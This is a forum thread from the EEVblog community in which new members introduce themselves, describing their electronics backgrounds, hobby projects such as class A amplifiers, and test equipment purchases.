My John Linsley Hood 15W class a monoblock with external power supply (requires +18V/0/-18V).

Pic2:
JLH Headphone Amp. A miniature of the above, just 1-1,5W.

Pic3:
I was in need of an adjustable power supply that could deliver at least a few amperes, so I built this one, based on LT1083's.

Pic4:
Removing the yellowing and replacing caps on my favourite computers, Amiga. 😊

Pic5:
I got a ton of cat6 from a friend and having read about the homemade cat6 speaker cables, I made a pair. I went from a pair of 2mm ones, to these and though I itch whenever I hear about snakeoil or any other "magic" ways to enhance the sound (like directional cables), I sincerely mean these make a difference. 😊

Pic6:
As I moved on to building a 2x40W class a amplifier, cooling became an issue, even with a 5U tall and 50CM deep case with heatsinks all along the sides, so I decided to build this table/Amp-stand with integrated cooling and temperature sensors. It lowered the amps temperature from 65 degrees Celsius to about 45 degrees, AR which semiconductors enjoy life a LOT more, and longer.

Pic7:
A multitester I bought on eBay. It tests transistors, tells you the pinup of b-c-e, hfe, conducting-voltage, capacity of caps, their esr, resistances, diodes, regulators, misfits, etc. For 13$,this is my most used and valued instrument. 😊

Anyhow, as I rudely wrote in my first post, which should have been my second one, my gf is buying me a scope and a multimeter for my 40th birthday and I want the fluke 87 and a rigol 1054Z. The budget is 833$ and the fluke 87 I just found bundled with a fluke 62 in thermometer for 310$,but the scope is unavailable in Norway it seems, unless I pay 540$for the scope, 160$ in import tax and another 50$ in shipping. If anyone know of any Scandinavian distributors of rigol, please tell. 😊

Thanks for reading, have a great day everyone. 😊

Ben from Norway
Title: Re: New Member, Please introduce yourself
Post by: crispy_tofu on October 17, 2015, 07:42:54 am
A multitester I bought on eBay. It tests transistors, tells you the pinup of b-c-e, hfe, conducting-voltage, capacity of caps, their esr, resistances, diodes, regulators, misfits, etc. For 13$,this is my most used and valued instrument. 😊

Welcome to the forum! By the way, if you want to learn more about your tester, the forum has a thread about it:
https://www.eevblog.com/forum/testgear/ (https://www.eevblog.com/forum/testgear/)$20-lcr-esr-transistor-checker-project/
 ;D
Title: Re: New Member, Please introduce yourself
Post by: Ogive on November 06, 2015, 10:46:43 pm
I'm an EE in the USA.  Been designing analog stuff for about 30 years.  The last 15 have been designing cameras and spectrometers and other instruments for electron microscopes.  I'm also am a ham radio operator.
Title: Re: New Member, Please introduce yourself
Post by: theBigK on November 16, 2015, 03:42:50 pm
Hello everyone!

I am from California, currently working on my second degree in mechanical engineering although considering switching to electrical plenty of times! I am working on electrical repair and am friends with a retired electrical engineer and we both work on figuring out ways to fix and replace car electronics.


Realy enjoy the EEVblog, and working on outfitting myself with the last few repair pieces.
Title: Re: New Member, Please introduce yourself
Post by: FireFlower on November 18, 2015, 08:55:31 pm
Hello,

I am from Finland, 25 years old, studying electronics, programming, embedded systems in general at Tampere University of Technology. Part time working at electronic factory fixing stuff that doesn't meet specs etc. Currently building my own hobby corner and getting / building stuff I need.

I found eevblog a year ago when I was just browsing internet and kept coming back to check videos.

One hobby corner coming up
(http://hal.garde.fi/~fireflower/kuvia/asunto/Tampere/2015/kotostyspoyta_rakentelu.jpg)

Items so far

Projects: Led work lamp with stepless adjustable lumen range (700-7000), high efficiency
Hobby corner instruments + ESD protection
Title: Re: New Member, Please introduce yourself
Post by: miguelvp on November 18, 2015, 11:13:18 pm
I can read the your windows XP license key on that image.

Probably you don't care, but I thought I'll mention it.

Also those LED bulbs look like 80 proof whiskey, but with winter coming it's either that or vodka  :-+

Title: Re: New Member, Please introduce yourself
Post by: FireFlower on November 19, 2015, 01:34:09 am
I can read the your windows XP license key on that image.

Probably you don't care, but I thought I'll mention it.

Also those LED bulbs look like 80 proof whiskey, but with winter coming it's either that or vodka  :-+

That XP license doesn't work. I copied from internet to get past activation but had to go to basement and look for correct product key from old dead laptop. That system will not be connected to outside network, it is virtually isolated from outside world after I have downloaded updates.

Led project is still underway
(http://hal.garde.fi/~fireflower/kuvia/projektit/led_valo1.jpg)
Basically only things I have to make are a mounting bracket and drilling a few holes, a control box and salvaging a laptop power supply for it.  :-/O
Title: Re: New Member, Please introduce yourself
Post by: zega on November 21, 2015, 05:50:50 am
Hello

I am from Okemos, Michigan (natively Croatian), and work in electronics field (science related) for over 20 years.
I also am a member of many other forums www.e-vozila.com (http://www.e-vozila.com) , diyaudio.com, stackexchange...

zega
Title: Re: New Member, Please introduce yourself
Post by: moya034 on November 21, 2015, 11:48:38 pm
Hello! I am an Electronics Experiment and Ham Radio Operator from Delaware. While by no means am I a first class expert, I've been around the block a few times when it comes to electricity. Currently working on a few odd ball projects, including but not limited to a digital amateur radio repeater, modifying a Heathkit VTVM, RF power meter, and FM deviation meter.
Title: Re: New Member, Please introduce yourself
Post by: Chai on November 23, 2015, 10:53:17 pm
No formal education in EE or CS? No problem! Well, kinda a problem if you want to learn electronics. But hey, I'm trying. :o
Title: Re: New Member, Please introduce yourself
Post by: CarnivalBen on November 24, 2015, 12:29:15 pm
Hi

I'm Ben... I'm the electrician for a carnival club in Somerset, UK... Every year we build a carnival float for the carnival parades in November every year... and it's my job to wire it all up. We normally have around 12,000 40w light bulbs powered by an 800kVA generator on a vehicle that is 100ft long made from an old convered ERF lorry unit pulling two trailers.

Check this out to see what I'm talking about: https://youtu.be/ZAfGaqIw_WQ?t=4m50s (https://youtu.be/ZAfGaqIw_WQ?t=4m50s)
Title: Re: New Member, Please introduce yourself
Post by: jeffsf on November 24, 2015, 05:08:06 pm
Good morning!

I'm Jeff and am about to try to figure how to solder these new-fangled SMDs, as well as bring back to life some of my old equipment, perhaps even my Collins KWM-2A gear. I got my Amateur Extra license back when pentodes were still on the exam, and my MSEE/CS from MIT was back when 1 GHz was something that went down a waveguide, not the clock speed on the cheap CPU on the phone in my pocket.

I apologize that I don't have a lot to add to discussions, but I've definitely appreciated the information here that you all share.

Jeff
Title: Re: New Member, Please introduce yourself
Post by: Electric flower on November 27, 2015, 09:05:26 am
Hello,


Hory shet, are you my scandinavian cousin?

Together we could be PlasmaFlower
Title: Re: New Member, Please introduce yourself
Post by: FireFlower on November 27, 2015, 02:22:08 pm
Hello,


Hory shet, are you my scandinavian cousin?

Together we could be PlasmaFlower

Who knows!  :box: I was quite surprised nobody had taken this nick yet :P
Title: Re: New Member, Please introduce yourself
Post by: jmegar324 on November 28, 2015, 06:22:31 am
My name is Jaime and I like to party! :)
Title: Re: New Member, Please introduce yourself
Post by: joshforester on November 29, 2015, 04:59:44 pm
How's it going guys (and gals?) I'm Joshua Forester from Carrollton, TX and have been an avid electronics enthusiast for quite some time in my short time I've been alive. Currently working as an Electrician in the State of Texas in new construction commercial & industrial. Also have worked for a Lenovo subcontractor in the past along with the IT field and medical field. I'm like most of you guys and love taking things apart and building things as well! Been watching the EEVBlog for a couple months now and has become one of my favorite channels! Has even helped me on a test recently in Trade School since we recently had a unit over electrical test equipment!

Well that's pretty much me in enclosure, I mean nutshell!  :-DD
Title: Re: New Member, Please introduce yourself
Post by: wonderfulpcb_sales on December 01, 2015, 10:31:35 am
hi,my name is jim ,I'm engaged in PCB industry
Title: Re: New Member, Please introduce yourself
Post by: AlxDroidDev on December 01, 2015, 07:20:51 pm
Hello, folks. I am Alex, from Brazil. I was always fascinated with EE, but when it came to choosing a college degree, I went to the dark side of the force: Mecanical Engineering withg an emphasis on mechatronics. That gave me some basic knowledge of EE, but not nearly enough, part of electronics in my course didn't scrap the surface of basic EE knowledge. I never worked in the EE industry (or mechatronics, for that matter), and I became an IT manager, programmer and DBA (which is what I've been doing for the last 15 years).

Neverthless, a couple decades after leaving school, I took electronics as a hobby, building small projects using Arduinos, but nothing too fancy. Most of what I know was self  taught.
Title: Re: New Member, Please introduce yourself
Post by: Tech-indoorsman on December 02, 2015, 02:06:30 pm
 O0Hello, everybody!
Good night!
Title: Re: New Member, Please introduce yourself
Post by: rebucklives on December 03, 2015, 07:16:23 pm
Hi Everyone-
My name is Brent and I'm a structural engineer who like to dabble in EE stuff for fun.  My EE experience is limited to the required general EE courses and labs that I took when I was an undergraduate when I got my degree.  To be honest I wasn't that interested in the EE courses when I was in school to become a civil engineer.  Probably because it wasn't my intended field and I was just trying to get through it.  Now that I have a little more time on my hands I am finding a renewed interest in electronics and want to get a little more serious about my hobby.  Looks like I found a pretty good place to start!
Title: Re: New Member, Please introduce yourself
Post by: soundhack on December 05, 2015, 05:37:25 am
I'm Robert, a systems engineer working for the US federal government. I've taught classes on how to build robots and embedded systems, and in general am interested in hardware/software systems.
Title: Re: New Member, Please introduce yourself
Post by: tmetc1121 on December 05, 2015, 06:25:35 pm
Hi all, I'm Tom and work in the automotive industry as an Electrical Systems Engineer. I am interested in starting an electronics hobby at home with my son. However I need to set up a basic lab in the basement first and in looking for an oscilloscope I stumbled on this great eevblog site. I'm really excited to start some fun father and son experiments and projects once I've got everything in place!
Title: Re: New Member, Please introduce yourself
Post by: alfishe on December 06, 2015, 01:06:25 am
Hi, I'm Ilia. Work as a solution architect in software development, have engineering education background and currently working on some IoT projects both from hardware and software perspectives. Currently looking for starter equipment set for my home lab.

EEVblog is a great place where tons of highly useful and relevant information concentrated in a single place so for sure will participate in a community for a long time.
Title: Re: New Member, Please introduce yourself
Post by: eeadata on December 06, 2015, 05:34:04 am
Hi . I am Esref from Turkey. i am a civil engineer and electronics nerd. i am basicly in to analog audio and musical electrobic products. Also in tube electronics.
Title: Re: New Member, Please introduce yourself
Post by: go211 on December 07, 2015, 12:16:04 am
Hello from sunny Southern California! I am a software guy, but recently started tinker with hardware in my free time. I greatly enjoy Dave's videos (of cause, who wouldn't)!
Title: Re: New Member, Please introduce yourself
Post by: babryan on December 08, 2015, 01:39:26 am
Hi! I'm an EE student in Florida with interest in embedded design and applications. I'm also interested in DIY audio and active loudspeaker design.
Title: Re: New Member, Please introduce yourself
Post by: FireFlower on December 08, 2015, 03:36:03 pm
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Tech-indoorsman
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alfishe
 eeadata
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babryan

Welcome!
Title: Re: New Member, Please introduce yourself
Post by: theminor on December 09, 2015, 02:08:48 am
Hi everybody. I just found this forum. It is a little overwhelming - a lot of information! I'm just a hobbiest - most everything I do is DIY, and I have grown up with electronics. When I was 10 or so, I built a 12 channel audio mixer using parts from Radio Shack (had problems with the pre-amp circuits, but I got there eventually). Most of my training back then came from the Forrest Mimms books they sold there. Anyway, thanks for a great community - glad to be a part of it.
Title: Re: New Member, Please introduce yourself
Post by: Vizir on December 09, 2015, 08:46:45 pm
Hello all.

Long time lurker here, been reading up on reviews and discussions of scopes. Am a comp-sci major but got into hobby electronics. Now I wish I'd taken EE courses at college!

And, I'm sure I'm not the first to say this, but, EEVblog is an invaluable resource!  :-+
Title: Re: New Member, Please introduce yourself
Post by: Thorondor on December 10, 2015, 08:02:13 am
Greetings all. I'm an IT guy who's trying to branch out into electronics - at least as a hobby. My hobbies and interests are quite diverse, but the common thread among them is being able to play with cool equipment ('toys').

I've been lurking in the EEVBlog forums for a while and I'm learning a lot just by being here; however I hope I can finally contribute to the community.
Title: Re: New Member, Please introduce yourself
Post by: davethecipo on December 10, 2015, 12:07:17 pm
Hi everyone,

I've been following the youtube channel for years. I love Dave's rants  >:D
I'm a newbie in electronics and a Materials and Nanotechnology Engineering student.

I'm playing around with LTSpice for a board I'd like to build, therefore you'll probably see me in the newbie section soon.


Davide Olianas
Title: Re: New Member, Please introduce yourself
Post by: highlux on December 10, 2015, 03:03:16 pm
I'm Dave. from St. Louis area.   I'm fascinated by guitar amps and electronics.   Here to learn.
Title: Re: New Member, Please introduce yourself
Post by: RIS on December 10, 2015, 08:48:39 pm
greetings gang   Im just snooping around looking for answers
Title: Re: New Member, Please introduce yourself
Post by: devpeeps on December 11, 2015, 01:48:39 am
I started out my career in Electronics (Avionics), and then went into Semiconductor Maintenance.. and then I got stupid and moved to I.T. I'm now getting back into electronics as a hobby, have been a HAM for quite a while, and starting to ramp up again. Thanks for having me.
Title: Re: New Member, Please introduce yourself
Post by: FJHookah on December 11, 2015, 08:58:18 pm
Greetings to the House....

How did I land here you ask?  Well, let me share the short version;

As a young lad, about the age of 18, I had the pleasure of speaking with a US Navy Recruiter. He asked me what I would like to do in the Navy, to which I replied simply (after having recently watched a new movie called 'Top Gun'), that I wanted to work on the F-14 Tomcat. As you can imagine, he quickly smiled, showing his bright white teeth while voicing his enthusiasm with my reply. That's how it all got started. During the following 7 years I would enjoy a couple of years of electronics training and about 5 years of working with Avionics I-Level maintenance/repair. And for anyone wondering... yes, I did get my wish.... working on the F-14 Tomcat and the S3 Viking.  Realizing there was no money to be made in the military, I left after 7yrs and began a career in IT which I still enjoy today.

I currently reside in Dallas,Texas (USA).  I've been a HAM radio operator since 1998. Recently, a buddy of mine, also a HAM operator, peaked my interest with home-brew electronics and the associated test equipment he uses. Well, needing a fresh distraction (hobby to sink cash and time into, haha), I decided to start putting together a home electronics lab. I've amassed this home-lab over the span of the previous three weeks, with what has seemed like daily UPS deliveries along with the associated depletion of my bank account funds.  I've included a photo of the new lab.  My only regret thus far, is not knowing about the TEquipment discount code 3 weeks ago! *chuckle*

After many, many hours of research, I deciding to start this lab with Rigol equipment. The specs are good and the prices are great. Thus far, the lab consists of the following gear;

1994 was the last time I operated an O-Scope. I have no doubt that I'll be full of questions, as I learn how to use all this new gear. Thanks for your patience, and thanks for this great online forum.

(http://i867.photobucket.com/albums/ab232/fjhookah/Lab_zpssql7gvwu.jpg)

Cheers,

Steve 
Title: Re: New Member, Please introduce yourself
Post by: AlxDroidDev on December 11, 2015, 09:14:02 pm
(...), to which I replied simply (after having recently watched a new movie called 'Top Gun'), that I wanted to work on the F-14 Tomcat. (...)

Top Gun came out in 1986, and I was 12 then. Needless to say that a few weeks after I saw the movie, I had a huge poster of the F14 in my bedroom. That is one of the sexiest planes ever built, in my very humble opinion. The closest I got to it was in the 1992 Miami Air Show (I was an exchange student back then, in the US) . I got to be inside one, and saw one doing a supersonic fly by in very low altitude. That is a moment I will NEVER forget.

Congrats on the very nice and neat lab!
Title: Re: New Member, Please introduce yourself
Post by: graciaj on December 12, 2015, 12:06:48 pm
Hi, Im located in mid USA. My background is software development and systems engineering for the past 18 years. Most of my software is for engineering, manufacturing and project management processes.

I have always being interested on electronics but hated formulas back when on college....

My interest grew again due to building rc planes and drones... that made me want to take the endevour of learning electronics.

a few months ago bought several book: Practical Electronics for Inventors, Make: electronics, Make: more electronics, Make: Analog Synthesizer,Make: Electronics Encyclopedia vol 1 & 2. and McGraw Hill Circuit Encyclopedia Vol 4

also got and old 20mhz analog oscope and stock on passive and active components from ebay.

for learning electronics in a practical way choose as a project build a modular analog synthesizer.

have been learning, but I feel I have just started to scratch the surface
Title: Re: New Member, Please introduce yourself
Post by: Godzil on December 13, 2015, 02:44:22 pm
(...), to which I replied simply (after having recently watched a new movie called 'Top Gun'), that I wanted to work on the F-14 Tomcat. (...)

Congrats on the very nice and neat lab!
Yeah, it's a really nice one :)
Title: Re: New Member, Please introduce yourself
Post by: rx8pilot on December 13, 2015, 06:44:58 pm
Rigol should send you a holiday gift, lol.

Sent from mobile device.... Keeping it short and mis-spelled

Title: Re: New Member, Please introduce yourself
Post by: fang64 on December 15, 2015, 10:46:22 pm
Hello Everyone,

I've been watching EEVBlog for a long time, finally decided to join the forums. I've had a long standing interest in Electronics and more recently into RF.  I occasionally repair ham gear, but spend most of my time working on random electronics projects, when I have it.
Title: Re: New Member, Please introduce yourself
Post by: HarlanKing on December 15, 2015, 10:51:17 pm
Hi everyone! Nice to find an active forum with like-minded people!

I'm a 24 year old electrician, dad to be (~ 1week!) and all around electronics enthusiast. Working in my trade has made me want to understand more about electricity, and i figure the best way to learn is by taking things down to a smaller scale.

I'm currently learning out of "The Art of Electronics" and supplementing with "Practical Electronics for Inventors" when i don't understand a concept from the former. So far, they've been a great learning duo!

I have a small lab set up with basic components, breadboard and a Fluke 87-V with a 116 as my backup. I'm trying to do labs while learning out of books to really cement the key concepts.

Looking forward to meeting all you fine people!

Harlan King.
Title: Re: New Member, Please introduce yourself
Post by: rx8pilot on December 15, 2015, 11:44:33 pm
Hi everyone! Nice to find an active forum with like-minded people!

I'm a 24 year old electrician, dad to be (~ 1week!) and all around electronics enthusiast. Working in my trade has made me want to understand more about electricity, and i figure the best way to learn is by taking things down to a smaller scale.

I'm currently learning out of "The Art of Electronics" and supplementing with "Practical Electronics for Inventors" when i don't understand a concept from the former. So far, they've been a great learning duo!

I have a small lab set up with basic components, breadboard and a Fluke 87-V with a 116 as my backup. I'm trying to do labs while learning out of books to really cement the key concepts.

Looking forward to meeting all you fine people!

Harlan King.

Welcome. This is a great place to share ideas, get help, and generally discuss.

I love my copy of Art of Electronics and refer to it frequently. With that said, I would likely have been baffled by it if it was my first book. What type of things are you hoping to accomplish as you learn electronics? Repairs? Designs? Analog? Digital? All of the above?

The reason I ask is because I have always been interested in electronics and started building kits and reading books when I was about 8. I didn't really learn anything very useful until I picked an interest and went after it until it worked. Once I got through one small-ish project, the flood gates were opened. I had learned how to learn. Now, when I think of a project, I don't need to know how I will do it, I only need to know that I can learn to do it.
Title: Re: New Member, Please introduce yourself
Post by: HarlanKing on December 16, 2015, 12:05:50 am
Hi everyone! Nice to find an active forum with like-minded people!

I'm a 24 year old electrician, dad to be (~ 1week!) and all around electronics enthusiast. Working in my trade has made me want to understand more about electricity, and i figure the best way to learn is by taking things down to a smaller scale.

I'm currently learning out of "The Art of Electronics" and supplementing with "Practical Electronics for Inventors" when i don't understand a concept from the former. So far, they've been a great learning duo!

I have a small lab set up with basic components, breadboard and a Fluke 87-V with a 116 as my backup. I'm trying to do labs while learning out of books to really cement the key concepts.

Looking forward to meeting all you fine people!

Harlan King.

Welcome. This is a great place to share ideas, get help, and generally discuss.

I love my copy of Art of Electronics and refer to it frequently. With that said, I would likely have been baffled by it if it was my first book. What type of things are you hoping to accomplish as you learn electronics? Repairs? Designs? Analog? Digital? All of the above?

The reason I ask is because I have always been interested in electronics and started building kits and reading books when I was about 8. I didn't really learn anything very useful until I picked an interest and went after it until it worked. Once I got through one small-ish project, the flood gates were opened. I had learned how to learn. Now, when I think of a project, I don't need to know how I will do it, I only need to know that I can learn to do it.
Yeah, it really does seem like an active community geared towards helping people out! That's refreshing..

I plan on learning all of the above. I have a year of electronic engineering technology under my belt, so I'm familiar with a lot of the basics. While going through AoE, I'll recognize terms or concepts and it slowly comes back to me (schooling was 6 years ago).

I agree, AoE isn't for the absolute beginner.

Do you find hands-on learning to be more important than textbooks/references while learning electronics?
Title: Re: New Member, Please introduce yourself
Post by: rx8pilot on December 16, 2015, 12:23:54 am
This is almost needing to be its own thread.....

I personally go with a full immersion technique to learning. I surround myself in reference materials, data sheets, videos, and sit at my bench experimenting. Every time I stumble on a new concept, I stop and figure it out. So many times, it's not necessarily the circuit I am learning but something like how to accurately measure and interpret a characteristic of the circuit. Then, I end up on a tangent learning about some piece of test equipment and how to use it before going back to my actual project.

I also love to read about projects and problems that others are doing even when they are something I would never build. Electronics has a TON of repeating motifs so learning from someone elses struggles has been super helpful for me to fast track my learning. I am very thankful for those that ask intelligent questions because intelligent questions get intelligent responses and that is the juiciest part of this community. Many of the questions asked are about things I didn't even know I didn't know.

Title: Re: New Member, Please introduce yourself
Post by: deepfryed on December 16, 2015, 04:17:52 am
Hi,

I'm an electronics newbie based in Melbourne and finding the forums and Dave's videos very educational.



Title: Re: New Member, Please introduce yourself
Post by: Robinrayner on December 17, 2015, 08:19:36 am
Hi now retired in France I have been in electronics almost all of my life. Firstly in the TV and theatre industry lighting control computers service at first followed by rand d then in to selling test equipment.back to rand d and then into power supplies and batteries.I have worked for colortran stc ,bnos and annesman. Now my passion is restoring old valve radios and early transistors. I came to this blog while searching for info on my intermittent v1065 Hitachi scope.and although I have now identified it as a thermal problem. It still bugs me.
Title: Re: New Member, Please introduce yourself
Post by: Photoman on December 18, 2015, 01:34:25 am
Hi,

Im a newbie based in New Rochelle, NY.  Love Dave's videos!!
Long time lurker, thanks to everyone for all of the help so far!!

-Ian
Title: Re: New Member, Please introduce yourself
Post by: EdoFede on December 18, 2015, 05:31:00 pm
Hi everyone,

I'm a IT engineer from Italy with an unbridled passion for electronics since I was a boy.
I follow the Dave's youtube channel and his interesting video by many years.

Nice to meet you all.

Bye,
Edoardo
Title: Re: New Member, Please introduce yourself
Post by: PhB95 on December 20, 2015, 01:07:32 am
Hello,

I'm Philippe, Electronics Engineer, working since 35 years in the same company. Now, i don't think i'm a dinosaur :) and i still enjoy nothing more than a day in the lab, fiddling on some new idea.

Over the time I've managed to work on radio, TV, telco, ASICs & FPGAs, software, and all kind of embedded stuff. Avoiding boring slideware and endless meetings is a choice, which prevented me from becoming a manager, but i still earn a decent living :)
Title: Re: New Member, Please introduce yourself
Post by: rrinker on December 20, 2015, 02:33:36 am
Hi,

 I'm one of those guys who came up similar to the way Dave did, though I am about 6 years older. Batteries, switches, and lights were some of my favorite toys when young, along with model trains. Stepped up to those Radio Shack kits, starting with the 20 in one which had each part on a small plastic square so you both mechanically and electrically assembled circuits, then to the 100 in one and 150 in one. Also had tons of those Science Fair kits. A neighbor down the street moved away and gave me a huge box full of mixed components and various devices. I first subscribed to Popular Electronics in 7th grade and learned a lot from the Forest Mims column as well as the Experimenter Notebooks he published with Radio Shack. Also got into computers when the first TRS-80 Model 1 came out. I used to pretty much live in the local 'Shack playing with the computer. By the time I got to High School, I knew I wanted to be an electrical engineer. Few more years - and I have a BS in Electrical Engineering. Shortly after starting my first post-college job, I got into more and more computer stuff - networking and application development. I've been in IT ever since, mostly as a consultant, with a few tints as internal IT - enough to know I greatly prefer the consulting gigs. My electronics experimentation has mostly been back burner, doing a few things with my model railroad (still in that hobby - recently bought a house with a large basement so I'm currently designing my next layout). A few months ago someone linked one of Dave's videos and I've been hooked ever since. I've been going through the YouTube channel watching the videos mostly in order, and I recently picked up a whole bunch of Arduino bits to build a signal system for my railroad. Part of my planning for the basement includes a work area which will have a model area, my 'railroad pc' and an electronics work area. Recently picked up a Signlent SDS1102CML scope, after all these years my very first scope. Only other 'professional' level equipment I have is a Fluke 8012A multimeter I snagged from the trash of a client who was taking over another company - what that company's IT department needed with a meter like that I have no idea.

                               --Randy
Title: Re: New Member, Please introduce yourself
Post by: algorhythm on December 22, 2015, 10:12:54 am
I'm an artist in the states, working with sound and electronics to create interactive work that emits or responds to sound.

Cheers everyone.  Glad you're all here.
Title: Re: New Member, Please introduce yourself
Post by: ShreveCC on December 24, 2015, 03:11:53 am
Hello! My name is Bernie- I am a certified computer and electronic technician (rusty and dated on electronics, but back in on the fun- use it or lose it!).  I am also knowledgeable in computer programming.  I used to write software in C, Assembly, Basic, and RPGIII (dated on these languages too);  most people that know me, consider me as the go to guy.  I live in Michigan with my wife and one son.
Title: Re: New Member, Please introduce yourself
Post by: sambran on December 24, 2015, 03:24:55 am
Hey,

I'm a NY based EE.
Title: Re: New Member, Please introduce yourself
Post by: testmode on December 25, 2015, 03:09:49 pm
Been a long time reader of the forums and always been amused of Dave's videos - it definitely isn't easy to be entertaining to engineers and technically correct at the same time!

I've been tinkering with electronics from a young age and started out tearing apart anything that moves and/or lights up in the house out of curiousity then progressed to building kits from those things called magazines (yes, we somehow managed to get thru life without the internet  ^-^).  I've always been fond of microcontrollers and like both the challenge of a properly designed HW and the flexibility of a well-written SW.

Glad to be part of this great community!  :-+
Title: Noob (Aus) - Hey there!
Post by: CPitts on December 29, 2015, 02:00:43 am
Hey guys and gals!

Been looking for somewhere to chat up electronics and component stuff and came to this site via an EEVblog video taredown of a DSO I'm looking at buying.  Great to see these communities exist in a day and age where people are more interested in commodity electronics and dissposable everything.

I come from a digital electronics/automate/computing/applied science background (double degree... watevs) and am finding myself getting back into it as a solid hobby after ~15yrs break.  Mainly doing stereo system component rebuilds for highest audio fidelity (with lowest noise floor) and lots of Arduino work to solve small issues.

I'm on the hunt for a quality DSO so you'll see me in there soon enough. :)

Great to see such a live community!!  :-+
Title: Re: New Member, Please introduce yourself
Post by: recury on December 29, 2015, 09:27:21 am
Hi,

I'm a software / firmware engineer for a company that makes industrial products, looking to get more into the electronics side of things... programming microcontrollers is fun but I've recently started doing a little bit of (analog) circuit design as well and it's piqued my interest in electronics design in general.
Title: Re: New Member, Please introduce yourself
Post by: GAD on December 29, 2015, 04:31:36 pm
Howdy!

I found this forum and Dave's excellent videos while researching oscilloscopes. I ended up buying a Rigol DS1054Z which then led me to buy a Siglent SDG2042X. Now I'm on the hunt for a benchtop meter.

I've been into electronics since I was a kid in the '70s when my dad fixed TVs for side-money. I was his tube caddy, and I learned a lot watching him over the years. I still have his analog VOM and all of his slide rules. Though he died when I was in high school (1982), his teachings have stayed with me. I often think about how he would be blown away by something like the DS1054Z being available at the price.

I used to manage a Radio Shack back in the mid-late '80s, and I was very sad when all the local ones closed recently, even if they'd become largely a shell of what they once were.
Title: Re: New Member, Please introduce yourself
Post by: geoffp on December 29, 2015, 06:49:23 pm
I'm an electrical engineer who started his career designing telephone test equipment 25 years ago and somehow moved into software engineering via stints writing signal integrity analysis software and test engineering. I'm now an embedded systems engineer working on Linux based medical video systems, but miss my roots designing hardware, sitting at the lab bench, and playing with amateur radio (callsign KK6HO).  I'm now trying to get back into the hardware side on my own projects in my spare time (which is challenging with newborn twins  :).
Title: Re: New Member, Please introduce yourself
Post by: jasonames on December 29, 2015, 11:24:20 pm
Hello,

Lately I'm building an autopilot for my sailboat, this forum has been a great asset for acquiring knowledge.

Cheers!
Title: Re: New Member, Please introduce yourself
Post by: NaddaEE on December 30, 2015, 12:29:34 am
Howdy from Texas!

I'm an older student working on a BS in electrical engineering.  Like a lot of the students here, I'm trying to bridge the massive gap between theory and practice.  I started watching Dave's vids about a year ago and thought I'd finally hop on the forums.
Title: Re: New Member, Please introduce yourself
Post by: PINdiode on December 30, 2015, 06:08:39 pm
Howdy, Folks
Like others here, I have my roots in hardware, and was pulled slowly away. First started turning scope knobs back in '76. Still enjoy fiddling around when I can push other tasks to a lower priority. Might have more time now that the two kids are in college.
Title: Re: New Member, Please introduce yourself
Post by: homebody on December 31, 2015, 01:30:51 am
Was a tech two or three lifetimes ago.  Have always kept a toe in the water and have been wading deeper the last few years...Geoff
Title: Re: New Member, Please introduce yourself
Post by: VinzC on December 31, 2015, 11:22:13 am
After a couple of posts, at least I should introduce myself... I'm an electronics engineer with no professional experience in the field — at least until last year. My passions include computer systems, hard and soft and I've spent most of my professional life designing computer applications, systems, servers and services, mainly GNU/Linux based but also internal IT support. Only recently have I switched jobs from IT to electronics.

As a hobbyist I've been a passionate reader of electronics magazine Elektor since the eighties. I also have a few personal projects, which I hope to showcase here once done.

Life can be funny at times. I "discovered" Dave's channel wile I was trying my media center, XBMC at that time. I stumbled across its Youtube plugin and the EEVblog was the first channel I watched. Hooked ever since.

FTR I also own a Hitachi V660 analog scope that I could repair and salvage thanks to this post (https://www.eevblog.com/forum/testgear/teardown-hitachi-v1065/msg459677/#msg459677) by rbm! My scope is more than 20 years old and still works a treat! Beauty! *

Think I'm going to stick around here a little while...







*Any resemblance with existing quotes from a living person is, of course, intended and not a coincidence.
Title: Re: New Member, Please introduce yourself
Post by: Dollarpee on December 31, 2015, 05:11:09 pm
Hi all, I am Akin from Canada. I am an electrical electronics enthusiast with no prior knowledge. I an keenly interested in building circuit boards, interpret designs and being able to design and implement circuit diagrams.
Any guide or assistance will be appreciated.
Thanks
Title: Re: New Member, Please introduce yourself
Post by: jbix on January 02, 2016, 02:10:44 am
Hello to Dave and all,

I've been watching Dave's videos on youtube for the last year or two.  They are quite enjoyable, entertaining and informative.  Good job to you Dave, and hope the full-time YouTube thing remains prosperous.  I've been working on a product project for the last year or two now, off-and-on as time permits.  Maybe I'll start a post about it.  Just wanted to say hi to everybody on the forums and thank you to Dave for the entertainment and motivation to keep going.
Title: Re: New Member, Please introduce yourself
Post by: jf27 on January 03, 2016, 02:23:15 am
Well, hello to all and a big thanks to nanofrog for giving me feedback in my earlier questions!

I'm a retired middle school teacher, and an amateur radio operator of many years.  I am getting particularly involved in QRP gear because of its elegance, "relative" simplicity and its focus on "HOW it all works" which is what interests me.  At this point I'd rather build a simple transceiver kit, and hopefully learn/study what each component does and why, rather than just buy it and turn it on---but I've NOT always been that way : )  I've bought plenty of gear that, thankfully, I could/and can "just turn on." 

Which is how I got here:  I've watched a ton of Dave's videos on YouTube and learned a LOT and been so excited about this EEVforum/blog/video resource.  I've also read here and there on this forum of the discount members can have with TEquipment purchases---so I sent out a question about the discount code earlier today.  I'm really excited about purchasing a Rigol DS1102e on Monday and hope to have it available as I start building a kit in the next week or so---but maybe it's going to take time for me to "earn" the discount code and that's ok if I just have to miss out on it regarding this upcoming oscilloscope purchase---because---I've officially joined this forum for the long haul---all the knowledge I've gained, and will gain, and hopefully someday share, is what matters most---any discount on my oscilloscope would simply be a welcome bonus for this retired, "watching my pennies, fixed income" teacher : ) 

And, of course, I'm DEFINITELY buying an oscilloscope that I CAN "just turn on"---but maybe down this very interesting road, I'll someday build my own and have newly gained wisdom to share with "newcomers" such as me : )

Thanks everybody for helping this to be such an incredibly wonderful resource---and thanks, Dave, for doing what ALL good teachers do: you keep it fun and focused and never, ever boring!         Joe
Title: Re: New Member, Please introduce yourself
Post by: kuromaku on January 03, 2016, 03:29:29 am
Greetings,

I bake bread and cookies.  Nice to meet you all.
Title: Re: New Member, Please introduce yourself
Post by: Vgkid on January 03, 2016, 06:36:30 pm
I bake bread and cookies.  Nice to meet you all.
Me too.
Title: Re: New Member, Please introduce yourself
Post by: SteveWS5W on January 04, 2016, 03:04:07 am
Hi all
I am Steve
I am a ham radio operator. SDR and DXing are my current interests
I like to work on radios and and build electronics projects.
After not having a good work bench , i have started to equip one.
Title: Re: New Member, Please introduce yourself
Post by: fragonrod8 on January 05, 2016, 01:50:12 am
Hi everybody!

